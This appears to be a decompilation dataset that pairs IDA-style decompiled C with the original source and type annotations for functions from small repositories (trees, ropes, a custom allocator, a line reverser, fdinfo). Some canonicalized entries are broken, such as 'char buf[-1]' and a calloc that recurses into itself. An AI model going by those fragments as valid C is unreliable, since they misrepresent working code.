decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax

v3 = create_tree_1(argc, argv, envp);
if ( (unsigned int)check_balanced(v3) )
puts("The tree is not balanced");
else
puts("The tree is balanced");
v4 = create_tree_2();
if ( (unsigned int)check_balanced(v4) )
puts("The tree is not balanced");
else
puts("The tree is balanced");
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax

v3 = func0(argc, argv, envp);
if ( (unsigned int)check_balanced(v3) )
puts("The tree is not balanced");
else
puts("The tree is balanced");
v4 = func1();
if ( (unsigned int)check_balanced(v4) )
puts("The tree is not balanced");
else
puts("The tree is balanced");
return 0;
}

original_code:
int main(int argc, char const *argv[])
{
 struct tree *root;
 root = create_tree_1();
 if(0 == check_balanced(root)) {
  printf("The tree is balanced\n");
 } else {
  printf("The tree is not balanced\n");
 }
 root = create_tree_2();
 if(0 == check_balanced(root)) {
  printf("The tree is balanced\n");
 } else {
  printf("The tree is not balanced\n");
 }
 return 0;
}

canonical_original_code:
int main(int argc, char *argv[])
{
 struct tree *root;
 root = create_tree_1();
 if(0 == check_balanced(root)) {
  printf("The tree is balanced\n");
 } else {
  printf("The tree is not balanced\n");
 }
 root = create_tree_2();
 if(0 == check_balanced(root)) {
  printf("The tree is balanced\n");
 } else {
  printf("The tree is not balanced\n");
 }
 return 0;
}

variable_types:
argv
char *[]

user_defined_types: struct tree { int data; struct tree *left; struct tree *right; }


repo: arkrost/oslabs

decompiled_code:
__int64 __fastcall node_size(__int64 a1)
{
__int64 result; // rax
__int64 v2; // rdx

result = 0LL;
if ( a1 )
{
while ( *(_DWORD *)a1 )
{
v2 = *(unsigned int *)(a1 + 4);
a1 = *(_QWORD *)(a1 + 24);
result += v2;
if ( !a1 )
return result;
}
result += *(_QWORD *)(a1 + 8);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func7(__int64 a1)
{
__int64 result; // rax
__int64 v2; // rdx

result = 0LL;
if ( a1 )
{
while ( *(_DWORD *)a1 )
{
v2 = *(unsigned int *)(a1 + 4);
a1 = *(_QWORD *)(a1 + 24);
result += v2;
if ( !a1 )
return result;
}
result += *(_QWORD *)(a1 + 8);
}
return result;
}

original_code:
static inline size_t node_size(struct rope_node *node)
{
 size_t size = 0;
 while (node && node->type != ROPE_LEAF) {
  struct rope_concat *concat = (struct rope_concat *) node;
  size += concat->weight;
  node = concat->right;
 }
 if (node) {
  struct rope_leaf *leaf = (struct rope_leaf *) node;
  size += leaf->size;
 }
 return size;
}

canonical_original_code:
static inline unsigned long node_size(struct rope_node *node)
{
 unsigned long size = 0;
 while (node && node->type != ROPE_LEAF) {
  struct rope_concat *concat = (struct rope_concat *) node;
  size += concat->weight;
  node = concat->right;
 }
 if (node) {
  struct rope_leaf *leaf = (struct rope_leaf *) node;
  size += leaf->size;
 }
 return size;
}

variable_types: struct rope_node { enum rope_node_type { ROPE_LEAF=0, ROPE_CONCAT=1 } type; } *

variable_types:
size
unsigned long

variable_types: struct rope_concat { struct rope_node { enum rope_node_type { ROPE_LEAF=0, ROPE_CONCAT=1 } type; } base; unsigned int weight; unsigned int depth; struct rope_node *left; struct rope_node *right; } *

variable_types: struct rope_leaf { struct rope_node { enum rope_node_type { ROPE_LEAF=0, ROPE_CONCAT=1 } type; } base; unsigned long size; char *data; } *

return_type: unsigned long

user_defined_types: struct rope_node { enum rope_node_type type; }

user_defined_types: struct rope_concat { struct rope_node base; unsigned int weight; unsigned int depth; struct rope_node *left; struct rope_node *right; }

user_defined_types: struct rope_leaf { struct rope_node base; unsigned long size; char *data; }


decompiled_code:
__int64 __fastcall node_depth(_DWORD *a1)
{
__int64 result; // rax

result = 0LL;
if ( *a1 )
result = (unsigned int)a1[2];
return result;
}

canonical_decompiled_code:
__int64 __fastcall func8(_DWORD *a1)
{
__int64 result; // rax

result = 0LL;
if ( *a1 )
result = (unsigned int)a1[2];
return result;
}

original_code:
static inline size_t node_depth(struct rope_node *node)
{
 if (node->type != ROPE_LEAF) {
  struct rope_concat *concat = (struct rope_concat *) node;
  return concat->depth;
 } else {
  return 0;
 }
}

canonical_original_code:
static inline unsigned long node_depth(struct rope_node *node)
{
 if (node->type != ROPE_LEAF) {
  struct rope_concat *concat = (struct rope_concat *) node;
  return concat->depth;
 } else {
  return 0;
 }
}

user_defined_types: enum rope_node_type { ROPE_LEAF=0, ROPE_CONCAT=1 }


decompiled_code:
void __fastcall node_delete(_QWORD *a1)
{
if ( *(_DWORD *)a1 != 1 )
goto LABEL_2;
if ( a1[2] )
node_delete();
if ( a1[3] )
{
node_delete();
free(a1);
}
else
{
LABEL_2:
free(a1);
}
}

canonical_decompiled_code:
void __fastcall func10(_QWORD *a1)
{
if ( *(_DWORD *)a1 != 1 )
goto LABEL_2;
if ( a1[2] )
func10();
if ( a1[3] )
{
func10();
free(a1);
}
else
{
LABEL_2:
free(a1);
}
}

original_code:
static void node_delete(struct rope_node *node)
{
 if (node->type == ROPE_CONCAT) {
  struct rope_concat *concat = (struct rope_concat *) node;
  if (concat->left) node_delete(concat->left);
  if (concat->right) node_delete(concat->right);
 }
 free(node);
}


decompiled_code:
void __fastcall rope_delete(void *ptr)
{
_QWORD *v2; // rdi

v2 = *(_QWORD **)ptr;
if ( v2 )
node_delete(v2);
free(ptr);
}

canonical_decompiled_code:
void __fastcall func11(void *ptr)
{
_QWORD *v2; // rdi

v2 = *(_QWORD **)ptr;
if ( v2 )
func10(v2);
free(ptr);
}

original_code:
void rope_delete(struct rope *rope)
{
 if (rope->root) node_delete(rope->root);
 free(rope);
}

variable_types: struct rope { struct rope_node { enum rope_node_type { ROPE_LEAF=0, ROPE_CONCAT=1 } type; } *root; unsigned long size; } *

user_defined_types: struct rope { struct rope_node *root; unsigned long size; }


decompiled_code:
ssize_t __fastcall write_reversed_rope(__int64 *a1)
{
void *v1; // rsp
size_t v2; // rdx
ssize_t result; // rax
char v4; // [rsp+0h] [rbp-18h] BYREF
char buf[23]; // [rsp+1h] [rbp-17h] BYREF

if ( a1 )
{
v1 = alloca(a1[1] + 1);
rope_dump_reversed(a1, (__int64)&v4);
v2 = a1[1];
*(&v4 + v2) = v4;
result = write(1, buf, v2);
}
return result;
}

canonical_decompiled_code:
ssize_t __fastcall func13(__int64 *a1)
{
void *v1; // rsp
size_t v2; // rdx
ssize_t result; // rax
char v4; // [rsp+0h] [rbp-18h] BYREF
char buf[23]; // [rsp+1h] [rbp-17h] BYREF

if ( a1 )
{
v1 = alloca(a1[1] + 1);
func12(a1, (__int64)&v4);
v2 = a1[1];
*(&v4 + v2) = v4;
result = write(1, buf, v2);
}
return result;
}

original_code:
static void write_reversed_rope(struct rope* rope) {
 if (rope == ((void *)0)) return;
 char buf[rope->size + 1];
 rope_dump_reversed(rope, buf);
 buf[rope->size] = buf[0];
 write(1, buf + 1, rope->size);
}

canonical_original_code:
static void write_reversed_rope(struct rope *rope) {
 if (rope == ((void *)0)) return;
 char buf[-1];
 rope_dump_reversed(rope, buf);
 buf[rope->size] = buf[0];
 write(1, buf + 1, rope->size);
}

variable_types:
buf
char [-1]


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // r15
int v4; // er13
int v5; // eax
int v6; // er12
_BYTE *v7; // rbx
int v8; // er14
int v9; // esi
__int64 v10; // rbp
void *v11; // rdi
void *v12; // rdi
void *v14; // [rsp+0h] [rbp-48h]
void *ptr; // [rsp+8h] [rbp-40h]

v3 = 0LL;
v4 = 0;
for ( ptr = 0LL; ; ptr = v14 )
{
v14 = malloc(5uLL);
v5 = read(0, v14, 5uLL);
v6 = v5;
if ( v5 < 0 )
break;
if ( !v5 )
{
if ( v3 )
rope_delete(v3);
free(ptr);
free(v14);
return v6;
}
if ( v3 )
rope_append(v3, v14, v5);
else
v3 = (_DWORD *)rope_new(v14, v5);
v7 = v14;
v8 = 0;
v9 = v3[2] - v6;
do
{
++v8;
if ( *v7 == 10 )
{
v10 = rope_split(v3, v8 + v9);
if ( !v4 )
write_reversed_rope(v3);
v11 = v3;
v4 = 0;
v3 = (_DWORD *)v10;
rope_delete(v11);
v9 = -v8;
}
++v7;
}
while ( v6 > v8 );
if ( v3 )
{
if ( *((_QWORD *)v3 + 1) > 4uLL )
{
v12 = v3;
v4 = 1;
v3 = 0LL;
rope_delete(v12);
}
}
free(ptr);
}
return v6;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // r15
int v4; // er13
int v5; // eax
int v6; // er12
_BYTE *v7; // rbx
int v8; // er14
int v9; // esi
__int64 v10; // rbp
void *v11; // rdi
void *v12; // rdi
void *v14; // [rsp+0h] [rbp-48h]
void *ptr; // [rsp+8h] [rbp-40h]

v3 = 0LL;
v4 = 0;
for ( ptr = 0LL; ; ptr = v14 )
{
v14 = malloc(5uLL);
v5 = read(0, v14, 5uLL);
v6 = v5;
if ( v5 < 0 )
break;
if ( !v5 )
{
if ( v3 )
func11(v3);
free(ptr);
free(v14);
return v6;
}
if ( v3 )
rope_append(v3, v14, v5);
else
v3 = (_DWORD *)rope_new(v14, v5);
v7 = v14;
v8 = 0;
v9 = v3[2] - v6;
do
{
++v8;
if ( *v7 == 10 )
{
v10 = rope_split(v3, v8 + v9);
if ( !v4 )
func13(v3);
v11 = v3;
v4 = 0;
v3 = (_DWORD *)v10;
func11(v11);
v9 = -v8;
}
++v7;
}
while ( v6 > v8 );
if ( v3 )
{
if ( *((_QWORD *)v3 + 1) > 4uLL )
{
v12 = v3;
v4 = 1;
v3 = 0LL;
func11(v12);
}
}
free(ptr);
}
return v6;
}

original_code:
int main()
{
 struct rope* r = ((void *)0);
 int used = 0;
 int skip = 0;
 char* old = ((void *)0);
 while(1) {
  char* buf = (char*)malloc(5 * sizeof(char));
  int n = read(0, buf, 5);
  if (n < 0) return n;
  if (n == 0) {
   if(r) rope_delete(r);
   free(old);
   free(buf);
   return 0;
  }
  if(r) rope_append(r, buf, n); else r = rope_new(buf, n);
  int pos = 0, cur = r->size - n;
  while (1) {
   for (; pos < n && buf[pos] != '\n'; pos++);
   if (pos < n) {
    pos++;
    struct rope* tail = rope_split(r, cur + pos);
    if (skip) skip = 0; else write_reversed_rope(r);
    rope_delete(r);
    r = tail;
    cur = -pos;
   } else {
    if (r && r->size >= 5) {
     rope_delete(r);
     r = ((void *)0);
     skip = 1;
    }
    free(old);
    old = buf;
    break;
   }
  }
 }
}

canonical_original_code:
int main()
{
 struct rope *r = ((void *)0);
 int used = 0;
 int skip = 0;
 char *old = ((void *)0);
 while(1) {
  char *buf = (char*)malloc(5 * sizeof(char));
  int n = read(0, buf, 5);
  if (n < 0) return n;
  if (n == 0) {
   if(r) rope_delete(r);
   free(old);
   free(buf);
   return 0;
  }
  if(r) rope_append(r, buf, n); else r = rope_new(buf, n);
  int pos = 0; int cur = r->size - n;
  while (1) {
   for (; pos < n && buf[pos] != '\n'; pos++);
   if (pos < n) {
    pos++;
    struct rope *tail = rope_split(r, cur + pos);
    if (skip) skip = 0; else write_reversed_rope(r);
    rope_delete(r);
    r = tail;
    cur = -pos;
   } else {
    if (r && r->size >= 5) {
     rope_delete(r);
     r = ((void *)0);
     skip = 1;
    }
    free(old);
    old = buf;
    break;
   }
  }
 }
}

variable_types: used int

variable_types: skip int

variable_types:
old
char *

variable_types:
buf
char *

variable_types: pos int

variable_types: cur int


decompiled_code:
__int64 __fastcall bucket_list_size(__int64 a1)
{
__int64 result; // rax

for ( result = 0LL; a1; ++result )
a1 = *(_QWORD *)(a1 + 24);
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1)
{
__int64 result; // rax

for ( result = 0LL; a1; ++result )
a1 = *(_QWORD *)(a1 + 24);
return result;
}

original_code:
static size_t bucket_list_size(bucket_t* bucket)
{
 size_t count;
 for(count = 0; bucket != ((void *)0); count++, bucket=bucket->next);
 return count;
}

canonical_original_code:
static unsigned long bucket_list_size(struct bucket *bucket)
{
 unsigned long count;
 for(count = 0; bucket != ((void *)0); count++, bucket=bucket->next);
 return count;
}

variable_types: struct bucket { unsigned long len; int tid; void *mem; struct bucket *next; } *

variable_types:
count
unsigned long


decompiled_code:
int __fastcall free_bucket(void *addr)
{
int result; // eax

if ( addr )
{
free_bucket(*((void **)addr + 3));
result = munmap(addr, *(_QWORD *)addr + 32LL);
}
return result;
}

canonical_decompiled_code:
int __fastcall func2(void *addr)
{
int result; // eax

if ( addr )
{
func2(*((void **)addr + 3));
result = munmap(addr, *(_QWORD *)addr + 32LL);
}
return result;
}

original_code:
static void free_bucket(bucket_t* bucket)
{
 if (bucket == ((void *)0)) return;
 free_bucket(bucket->next);
 munmap((void*)bucket, sizeof(bucket_t) + bucket->len);
}

canonical_original_code:
static void free_bucket(struct bucket *bucket)
{
 if (bucket == ((void *)0)) return;
 free_bucket(bucket->next);
 munmap((void *)bucket, sizeof(bucket_t) + bucket->len);
}

user_defined_types: struct bucket { unsigned long len; int tid; void *mem; struct bucket *next; }


decompiled_code:
int __fastcall free_threadlocal(void *addr)
{
int result; // eax

if ( addr )
{
free_bucket(*((void **)addr + 11));
free_bucket(*((void **)addr + 12));
pthread_mutex_destroy((pthread_mutex_t *)((char *)addr + 8));
pthread_mutex_destroy((pthread_mutex_t *)((char *)addr + 48));
free_threadlocal(*((void **)addr + 13));
result = munmap(addr, 0x70uLL);
}
return result;
}

canonical_decompiled_code:
int __fastcall func3(void *addr)
{
int result; // eax

if ( addr )
{
func2(*((void **)addr + 11));
func2(*((void **)addr + 12));
pthread_mutex_destroy((pthread_mutex_t *)((char *)addr + 8));
pthread_mutex_destroy((pthread_mutex_t *)((char *)addr + 48));
func3(*((void **)addr + 13));
result = munmap(addr, 0x70uLL);
}
return result;
}

original_code:
static void free_threadlocal(threadlocal_t* tl)
{
 if (tl == ((void *)0)) return;
 free_bucket(tl->small_list);
 free_bucket(tl->large_list);
 pthread_mutex_destroy(&(tl->small_bucket_mutex));
 pthread_mutex_destroy(&(tl->large_bucket_mutex));
 free_threadlocal(tl->next);
 munmap((void*)tl, sizeof(threadlocal_t));
}

canonical_original_code:
static void free_threadlocal(struct threadlocal *tl)
{
 if (tl == ((void *)0)) return;
 free_bucket(tl->small_list);
 free_bucket(tl->large_list);
 pthread_mutex_destroy(&(tl->small_bucket_mutex));
 pthread_mutex_destroy(&(tl->large_bucket_mutex));
 free_threadlocal(tl->next);
 munmap((void *)tl, sizeof(threadlocal_t));
}

variable_types: struct threadlocal { int tid; union pthread_mutex_t { struct __pthread_mutex_s { int __lock; unsigned int __count; int __owner; unsigned int __nusers; int __kind; short __spins; short __elision; struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; } __list; } __data; char __size[40]; long __align; } small_bucket_mutex; union pthread_mutex_t large_bucket_mutex; struct bucket { unsigned long len; int tid; void *mem; struct bucket *next; } *small_list; struct bucket *large_list; struct threadlocal *next; } *

user_defined_types: struct threadlocal { int tid; union pthread_mutex_t small_bucket_mutex; union pthread_mutex_t large_bucket_mutex; struct bucket *small_list; struct bucket *large_list; struct threadlocal *next; }

user_defined_types: union pthread_mutex_t { struct __pthread_mutex_s __data; char __size[40]; long __align; }

user_defined_types: struct __pthread_mutex_s { int __lock; unsigned int __count; int __owner; unsigned int __nusers; int __kind; short __spins; short __elision; struct __pthread_internal_list __list; }


free

decompiled_code:
void __fastcall free(__int64 a1)
{
void *v1; // r12
_QWORD *v2; // rbp
__int64 v3; // rdx
void *v4; // rax
__int64 v5; // rdx

if ( a1 )
{
v1 = (void *)(a1 - 32);
pthread_mutex_lock(&thread_list_mutex);
v2 = get_threadlocal(*(_DWORD *)(a1 - 24));
pthread_mutex_unlock(&thread_list_mutex);
if ( v2 )
{
if ( *(_QWORD *)(a1 - 32) <= 0x400uLL )
{
pthread_mutex_lock((pthread_mutex_t *)(v2 + 1));
if ( (unsigned __int64)bucket_list_size(v2[11]) > 0x13 )
{
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 1));
free_bucket(v1);
}
else
{
*(_QWORD *)(a1 - 8) = v5;
v2[11] = v1;
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 1));
}
}
else
{
pthread_mutex_lock((pthread_mutex_t *)(v2 + 6));
if ( (unsigned __int64)bucket_list_size(v2[12]) <= 9 )
{
*(_QWORD *)(a1 - 8) = v3;
v2[12] = v1;
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 6));
}
else
{
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 6));
pthread_mutex_lock(&memory_list_mutex);
v4 = memory_list;
memory_list = (void *)(a1 - 32);
*(_QWORD *)(a1 - 8) = v4;
pthread_mutex_unlock(&memory_list_mutex);
}
}
}
}
}

canonical_decompiled_code:
void __fastcall func4(__int64 a1)
{
void *v1; // r12
_QWORD *v2; // rbp
__int64 v3; // rdx
void *v4; // rax
__int64 v5; // rdx

if ( a1 )
{
v1 = (void *)(a1 - 32);
pthread_mutex_lock(&thread_list_mutex);
v2 = get_threadlocal(*(_DWORD *)(a1 - 24));
pthread_mutex_unlock(&thread_list_mutex);
if ( v2 )
{
if ( *(_QWORD *)(a1 - 32) <= 0x400uLL )
{
pthread_mutex_lock((pthread_mutex_t *)(v2 + 1));
if ( (unsigned __int64)func1(v2[11]) > 0x13 )
{
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 1));
func2(v1);
}
else
{
*(_QWORD *)(a1 - 8) = v5;
v2[11] = v1;
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 1));
}
}
else
{
pthread_mutex_lock((pthread_mutex_t *)(v2 + 6));
if ( (unsigned __int64)func1(v2[12]) <= 9 )
{
*(_QWORD *)(a1 - 8) = v3;
v2[12] = v1;
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 6));
}
else
{
pthread_mutex_unlock((pthread_mutex_t *)(v2 + 6));
pthread_mutex_lock(&memory_list_mutex);
v4 = memory_list;
memory_list = (void *)(a1 - 32);
*(_QWORD *)(a1 - 8) = v4;
pthread_mutex_unlock(&memory_list_mutex);
}
}
}
}
}

original_code:
void free(void* ptr)
{
 if (ptr == ((void *)0)) return;
 bucket_t* bucket = (bucket_t*)(ptr - sizeof(bucket_t));
 pthread_mutex_lock(&thread_list_mutex);
 threadlocal_t* tl = get_threadlocal(bucket->tid);
 pthread_mutex_unlock(&thread_list_mutex);
 if (tl == ((void *)0)) return;
 if (bucket->len > 1024)
 {
  pthread_mutex_lock(&(tl->large_bucket_mutex));
  if(bucket_list_size(tl->large_list) < 10)
  {
   bucket->next=tl->large_list;
   tl->large_list = bucket;
   bucket = ((void *)0);
  }
  pthread_mutex_unlock(&(tl->large_bucket_mutex));
  if (bucket == ((void *)0)) return;
  pthread_mutex_lock(&memory_list_mutex);
     bucket->next = memory_list;
     memory_list = bucket;
     pthread_mutex_unlock(&memory_list_mutex);
 }
 else
 {
  pthread_mutex_lock(&(tl->small_bucket_mutex));
  if(bucket_list_size(tl->small_list) < 20)
  {
   bucket->next=tl->small_list;
   tl->small_list = bucket;
   bucket = ((void *)0);
  }
  pthread_mutex_unlock(&(tl->small_bucket_mutex));
  if (bucket) free_bucket(bucket);
 }
}

canonical_original_code:
void free(void *ptr)
{
 if (ptr == ((void *)0)) return;
 struct bucket *bucket = (bucket_t*)(ptr - sizeof(bucket_t));
 pthread_mutex_lock(&thread_list_mutex);
 struct threadlocal *tl = get_threadlocal(bucket->tid);
 pthread_mutex_unlock(&thread_list_mutex);
 if (tl == ((void *)0)) return;
 if (bucket->len > 1024)
 {
  pthread_mutex_lock(&(tl->large_bucket_mutex));
  if(bucket_list_size(tl->large_list) < 10)
  {
   bucket->next=tl->large_list;
   tl->large_list = bucket;
   bucket = ((void *)0);
  }
  pthread_mutex_unlock(&(tl->large_bucket_mutex));
  if (bucket == ((void *)0)) return;
  pthread_mutex_lock(&memory_list_mutex);
     bucket->next = memory_list;
     memory_list = bucket;
     pthread_mutex_unlock(&memory_list_mutex);
 }
 else
 {
  pthread_mutex_lock(&(tl->small_bucket_mutex));
  if(bucket_list_size(tl->small_list) < 20)
  {
   bucket->next=tl->small_list;
   tl->small_list = bucket;
   bucket = ((void *)0);
  }
  pthread_mutex_unlock(&(tl->small_bucket_mutex));
  if (bucket) free_bucket(bucket);
 }
}

variable_types:
ptr
void *

user_defined_types: struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; }


calloc

decompiled_code:
void *__fastcall calloc(__int64 a1, __int64 a2)
{
return calloc(a2 * a1, 1uLL);
}

canonical_decompiled_code:
void *__fastcall func5(__int64 a1, __int64 a2)
{
return func5(a2 * a1, 1uLL);
}

original_code:
void* calloc(size_t nmemb, size_t size)
{
    size_t n = nmemb * size;
    void* res = malloc(n);
    res = memset(res, 0, n);
    return res;
}

canonical_original_code:
void *calloc(unsigned long nmemb, unsigned long size)
{
    unsigned long n = nmemb * size;
    void *res = malloc(n);
    res = memset(res, 0, n);
    return res;
}

variable_types:
nmemb
unsigned long

variable_types:
n
unsigned long

variable_types:
res
void *

return_type: void *


realloc

decompiled_code:
void *__fastcall realloc(void *ptr, size_t size)
{
size_t v2; // rbx
void *v3; // rax
size_t v4; // rdx
__int64 v5; // r13
void *result; // rax

if ( !ptr )
return malloc(size);
if ( size )
{
v2 = *((_QWORD *)ptr - 4);
v3 = malloc(size);
v4 = v2;
v5 = (__int64)v3;
if ( size <= v2 )
v4 = size;
memcpy(v3, ptr, v4);
free(ptr);
result = (void *)v5;
}
else
{
free(ptr);
result = 0LL;
}
return result;
}

canonical_decompiled_code:
void *__fastcall func6(void *ptr, size_t size)
{
size_t v2; // rbx
void *v3; // rax
size_t v4; // rdx
__int64 v5; // r13
void *result; // rax

if ( !ptr )
return malloc(size);
if ( size )
{
v2 = *((_QWORD *)ptr - 4);
v3 = malloc(size);
v4 = v2;
v5 = (__int64)v3;
if ( size <= v2 )
v4 = size;
memcpy(v3, ptr, v4);
func4(ptr);
result = (void *)v5;
}
else
{
func4(ptr);
result = 0LL;
}
return result;
}

original_code:
void* realloc(void* ptr, size_t size)
{
    if (ptr == ((void *)0)) return malloc(size);
    if (size == 0)
    {
        free(ptr);
        return ((void *)0);
    }
    size_t old_size = ((bucket_t*)(ptr - sizeof(bucket_t)))->len;
    void* res = malloc(size);
    memcpy(res, ptr, old_size < size ? old_size : size);
    free(ptr);
    return res;
}

canonical_original_code:
void *realloc(void *ptr, unsigned long size)
{
    if (ptr == ((void *)0)) return malloc(size);
    if (size == 0)
    {
        free(ptr);
        return ((void *)0);
    }
    unsigned long old_size = ((bucket_t*)(ptr - sizeof(bucket_t)))->len;
    void *res = malloc(size);
    memcpy(res, ptr, old_size < size ? old_size : size);
    free(ptr);
    return res;
}

variable_types:
size
unsigned long


memalign

decompiled_code:
int memalign()
{
return raise(4);
}

canonical_decompiled_code:
int func7()
{
return raise(4);
}

original_code:
void* memalign(size_t align, size_t size)
{
    raise(4);
}

canonical_original_code:
void *memalign(unsigned long align, unsigned long size)
{
    raise(4);
}

variable_types:
align
unsigned long


decompiled_code:
int posix_memalign()
{
return raise(4);
}

canonical_decompiled_code:
int func8()
{
return raise(4);
}

original_code:
int posix_memalign(void** memptr, size_t align, size_t size)
{
    raise(4);
}

canonical_original_code:
int posix_memalign(void **memptr, unsigned long align, unsigned long size)
{
    raise(4);
}

variable_types:
memptr
void **


valloc

decompiled_code:
int valloc()
{
return raise(4);
}

canonical_decompiled_code:
int func9()
{
return raise(4);
}

original_code:
void* valloc(size_t size)
{
    raise(4);
}

canonical_original_code:
void *valloc(unsigned long size)
{
    raise(4);
}


reverse

original_code:
void reverse(char* buf, int size) {
    int i;
    for (i = 0; i < size / 2; i++) {
        char tmp = buf[i];
        buf[i] = buf[size - i - 1];
        buf[size - i - 1] = tmp;
    }
}

canonical_original_code:
void reverse(char *buf, int size) {
    int i;
    for (i = 0; i < size / 2; i++) {
        char tmp = buf[i];
        buf[i] = buf[size - i - 1];
        buf[size - i - 1] = tmp;
    }
}

variable_types: size int

variable_types: i int

variable_types: tmp char


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // r14
char v4; // r13
int v5; // ebp
int v6; // eax
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
char *v10; // rax
unsigned int v11; // ebx
__int64 v12; // rsi
char dest[45]; // [rsp+Bh] [rbp-2Dh] BYREF

v3 = 0LL;
v4 = 0;
v5 = 0;
LABEL_2:
while ( 1 )
{
v6 = read(0, &dest[v3], (unsigned int)(5 - v5));
v9 = (unsigned int)v6;
if ( v6 < 0 )
return v9;
v5 += v6;
if ( v5 <= 0 )
{
LABEL_11:
if ( !(_DWORD)v9 )
return v9;
v3 = v5;
}
else
{
v10 = dest;
v11 = 0;
do
{
v12 = v11++;
if ( *v10 == 10 )
{
if ( !v4 )
{
reverse(dest, v12, v7, v8, v9);
write(1, dest, v11);
}
v5 -= v11;
v4 = 0;
v3 = v5;
memmove(dest, &dest[v11], v5);
goto LABEL_2;
}
++v10;
}
while ( v5 != v11 );
if ( v5 != 5 )
goto LABEL_11;
v4 = 1;
v5 = 0;
v3 = 0LL;
}
}
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // r14
char v4; // r13
int v5; // ebp
int v6; // eax
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
char *v10; // rax
unsigned int v11; // ebx
__int64 v12; // rsi
char dest[45]; // [rsp+Bh] [rbp-2Dh] BYREF

v3 = 0LL;
v4 = 0;
v5 = 0;
LABEL_2:
while ( 1 )
{
v6 = read(0, &dest[v3], (unsigned int)(5 - v5));
v9 = (unsigned int)v6;
if ( v6 < 0 )
return v9;
v5 += v6;
if ( v5 <= 0 )
{
LABEL_11:
if ( !(_DWORD)v9 )
return v9;
v3 = v5;
}
else
{
v10 = dest;
v11 = 0;
do
{
v12 = v11++;
if ( *v10 == 10 )
{
if ( !v4 )
{
func7(dest, v12, v7, v8, v9);
write(1, dest, v11);
}
v5 -= v11;
v4 = 0;
v3 = v5;
memmove(dest, &dest[v11], v5);
goto LABEL_2;
}
++v10;
}
while ( v5 != v11 );
if ( v5 != 5 )
goto LABEL_11;
v4 = 1;
v5 = 0;
v3 = 0LL;
}
}
}

original_code:
int main() {
    char buf[5];
    int used = 0;
    char skip = 0;
    while(1) {
        int n = read(0, buf + used, 5 - used);
        if (n < 0) return n;
        used += n;
        int pos;
        for (pos = 0; pos < used && buf[pos] != '\n'; pos++);
        if (pos < used) {
            if (skip) {
                skip = 0;
            } else {
                reverse(buf, pos);
                write(1, buf, pos + 1);
            }
            used -= (pos + 1);
            memmove(buf, buf + pos + 1, used);
        } else if (pos == 5) {
            skip = 1;
            used = 0;
        } else if (n == 0) {
            return 0;
        }
    }
}

variable_types:
buf
char [5]

variable_types: used int

variable_types: skip char

variable_types: n int


repo: arnaud-lb/fdinfo

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // ebx
int result; // eax
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
char *endptr; // [rsp+8h] [rbp-20h] BYREF

v6 = 0LL;
if ( argc != 2 || (v3 = strtol(argv[1], &endptr, 10), envp = (const char **)endptr, *endptr) )
{
print_usage(stderr, argv, envp);
result = 1;
}
else
{
v4 = v3;
while ( 1 )
{
result = print_stats(v4, &v6);
if ( result )
break;
sleep(1u);
}
}
return result;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // ebx
int result; // eax
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
char *endptr; // [rsp+8h] [rbp-20h] BYREF

v6 = 0LL;
if ( argc != 2 || (v3 = strtol(argv[1], &endptr, 10), envp = (const char **)endptr, *endptr) )
{
func7(stderr, argv, envp);
result = 1;
}
else
{
v4 = v3;
while ( 1 )
{
result = func10(v4, &v6);
if ( result )
break;
sleep(1u);
}
}
return result;
}

original_code:
int main(int argc, char * argv[]) {
 pid_t pid;
 struct fdinfo * fds = ((void *)0);
 char * check;
 if (argc != 2) {
  print_usage(stderr, argv);
  return 1;
 }
 pid = (pid_t) strtol(argv[1], &check, 10);
 if (*check != '\0') {
  print_usage(stderr, argv);
  return 1;
 }
 for (;;) {
  int ret = print_stats(pid, &fds);
  if (ret) {
   return ret;
  }
  sleep(1);
 }
 return 0;
}

canonical_original_code:
int main(int argc, char *argv[]) {
 int pid;
 struct fdinfo *fds = ((void *)0);
 char *check;
 if (argc != 2) {
  print_usage(stderr, argv);
  return 1;
 }
 pid = (int) strtol(argv[1], &check, 10);
 if (*check != '\0') {
  print_usage(stderr, argv);
  return 1;
 }
 for (;;) {
  int ret = print_stats(pid, &fds);
  if (ret) {
   return ret;
  }
  sleep(1);
 }
 return 0;
}

variable_types: argc int

variable_types:
argv
char *[]

variable_types: pid int

variable_types: struct fdinfo { int fd; unsigned long prev_pos; struct fdinfo *next; } *

variable_types:
check
char *

variable_types: ret int


decompiled_code:
int __fastcall format_size(char *a1, size_t a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rcx
__int64 v4; // rax
const char *v5; // r8
int result; // eax
__int64 v7[7]; // [rsp+0h] [rbp-38h]

v7[1] = (__int64)"KiB";
v3 = a3;
v7[2] = (__int64)"MiB";
v7[3] = (__int64)"GiB";
v7[4] = (__int64)"TiB";
if ( a3 <= 0x4000 )
{
v5 = "B ";
LABEL_6:
result = snprintf(a1, a2, "%5jd %s", v3, v5);
}
else
{
v4 = 1LL;
while ( 1 )
{
v3 >>= 10;
if ( v3 <= 0x4000 )
break;
